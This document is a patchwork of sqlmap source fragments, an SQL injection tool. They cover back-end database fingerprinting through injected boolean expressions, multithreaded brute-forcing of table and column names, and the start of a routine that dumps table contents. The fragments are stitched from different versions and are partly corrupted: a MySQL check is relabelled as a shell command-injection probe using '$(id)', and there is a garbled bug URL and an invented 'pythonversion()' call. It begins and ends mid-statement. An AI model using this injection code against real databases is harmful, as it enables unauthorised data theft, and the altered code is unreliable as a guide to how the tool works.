inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression( "EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression( "ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression( "3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression( "'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression( "'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression( "'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression( "2=(SELECT SUBSTR(CURRENT_DATE,1,1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression( "'s'=(SELECT SUBSTRING('sqlmap',1,1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False
def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # Reference: https://downloads.mysql.com/archives/community/ versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50096), # MySQL 5.0 (50100, 50172), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50558), # MySQL 5.5 (50600, 50638), # MySQL 5.6 (50700, 50720), # MySQL 5.7 (60000, 60014), # MySQL 6.0 (80000, 80003), # MySQL 8.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and Backend.isDbmsWithin(SHELL_ALIASES): setDbms("%s %s" % (DBMS.SHELL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s command injection" % DBMS.SHELL logger.info(infoMsg) result = inject.checkBooleanExpression( '$(expr substr "$(id)" 1 1) = "u"') if result: infoMsg = "confirming %s command injection" % DBMS.SHELL logger.info(infoMsg) result = inject.checkBooleanExpression( '$(expr substr "$(pwd)" 1 1) = "/"') if not result: # Note: MemSQL doesn't support SESSION_USER() result = inject.checkBooleanExpression( "GEOGRAPHY_AREA(NULL) IS NULL") if result: hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SHELL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.python?id=15855 # Determine if it is MySQL >= 8.0.0 if inject.checkBooleanExpression( "version_compare(pythonversion(), \"7.0\") >= 0"): kb.data.has_information_schema = True Backend.setVersion(">= 7.0") setDbms("%s 7" % DBMS.SHELL) self.getBanner() # Determine if it is MySQL >= 5.0.0 elif inject.checkBooleanExpression( "ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.SHELL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SHELL logger.info(infoMsg) # Check if it is MySQL >= 5.7 if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): Backend.setVersion(">= 5.7") # Check if it is MySQL >= 5.6 elif inject.checkBooleanExpression( "ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): Backend.setVersion(">= 5.6") # Check if it is MySQL >= 5.5 elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression( "@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)" ): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression( "@@character_set_filesystem=@@character_set_filesystem" ): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])" ): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression( "@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression( "@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.SHELL) self.getBanner() elif inject.checkBooleanExpression( "STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.SHELL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression( "3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression( "2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression( "CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression( "'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.SHELL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SHELL logger.warn(warnMsg) return False
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg columns = getFileItems(columnFile, unique=True) columns = filterListValue(columns, regex) if conf.db and not conf.db.endswith(METADB_SUFFIX): table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl) else: table = conf.tbl table = safeSQLIdentificatorNaming(table) retVal = [] infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) count = [0] length = len(columns) threads = [] collock = threading.Lock() iolock = threading.Lock() kb.threadContinue = True kb.bruteMode = True def columnExistsThread(): while count[0] < length and kb.threadContinue: collock.acquire() column = safeSQLIdentificatorNaming(columns[count[0]]) count[0] += 1 collock.release() result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table))) iolock.acquire() if result: retVal.append(column) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release() if conf.threads > 1: infoMsg = "starting %d threads" % conf.threads logger.info(infoMsg) else: message = "please enter number of threads? [Enter for %d (current)] " % conf.threads choice = readInput(message, default=str(conf.threads)) if choice and choice.isdigit(): conf.threads = int(choice) if conf.threads == 1: warnMsg = "running in a single-thread mode. This could take a while." logger.warn(warnMsg) # Start the threads for numThread in range(conf.threads): thread = threading.Thread(target=columnExistsThread, name=str(numThread)) thread.start() threads.append(thread) # And wait for them to all finish try: alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True thread.join(5) except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True print logger.debug("waiting for threads to finish") warnMsg = "user aborted during common column existence check. " warnMsg += "sqlmap will display some columns only" logger.warn(warnMsg) try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" finally: kb.bruteMode = False kb.threadContinue = True kb.threadException = False clearConsoleLine(True) dataToStdout("\n") if not retVal: warnMsg = "no column found" logger.warn(warnMsg) else: columns = {} for column in retVal: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\ safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\ safeFormatString(column), safeFormatString(columns[column]))) kb.data.cachedColumns[conf.db] = {conf.tbl: columns} return kb.data.cachedColumns
def checkDbms(self): """ References for fingerprint: * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) randInt = getUnicode(randomInt(1)) result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt)) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False setDbms(DBMS.PGSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): Backend.setVersion(">= 9.1.0") elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1, 'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression( "EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression( "ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression( "3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression( "'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression( "'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression( "'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression( "2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression( "'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue( inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression( "PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion( ) and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { "2003": ("5.2", (2, 1)), # TODO: verify this #"2003": ("6.0", (2, 1)), "2008": ("7.0", (1, )), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" result = inject.goStacked(query) if result is not None and len(result) > 0 and result[0].isdigit(): Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def tableExists(tableFile, regex=None): if kb.tableExistsChoice is None and not any( _ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = u"不建议使用'%s'和'%s'" % ( PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += u"对常用的表的存在性进行检查" logger.warn(warnMsg) message = u"你确定要继续吗? [y/N] " kb.tableExistsChoice = readInput(message, default='N', boolean=True) if not kb.tableExistsChoice: return None result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if result: errMsg = u"因为检测到的结果无效,所以无法对数据库中的表的存在性进行检查," errMsg += u"(很可能是由于使用的注入无法区分错误结果)" raise SqlmapDataException(errMsg) message = u"您要使用哪些常用表(wordlist)文件?\n" message += u"[1] 默认 '%s' (按回车键)\n" % tableFile message += u"[2] 自定义" choice = readInput(message, default='1') if choice == '2': message = u"自定义的常用表文件位置在哪里?\n" tableFile = readInput(message) or tableFile infoMsg = u"使用自己提供的表文件'%s'检查表的存在性" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS, ), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.value = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming( tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = u"用户在检查表的存在性期间中止,sqlmap将只显示部分输出" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = u"没有发现表" logger.warn(warnMsg) else: for item in threadData.shared.value: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.value): if _ not in kb.brute.tables: kb.brute.tables.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression( "LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression( "NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])" ) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression( "%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False
def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): fork = FORK.COCKROACHDB elif inject.checkBooleanExpression( "VERSION() LIKE '%Redshift%'" ): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version fork = FORK.REDSHIFT elif inject.checkBooleanExpression( "VERSION() LIKE '%Greenplum%'" ): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png fork = FORK.GREENPLUM elif inject.checkBooleanExpression( "VERSION() LIKE '%Yellowbrick%'" ): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html fork = FORK.YELLOWBRICK elif inject.checkBooleanExpression( "VERSION() LIKE '%EnterpriseDB%'" ): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression( "AURORA_VERSION() LIKE '%'" ): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PGSQL if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming( conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming( conf.db ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming( tbl, True ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(column for column in columns if column) if conf.exclude: colList = [ _ for _ in colList if re.search(conf.exclude, _, re.I) is None ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = [ unsafeSQLIdentificatorNaming(_) for _ in colList ] colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in 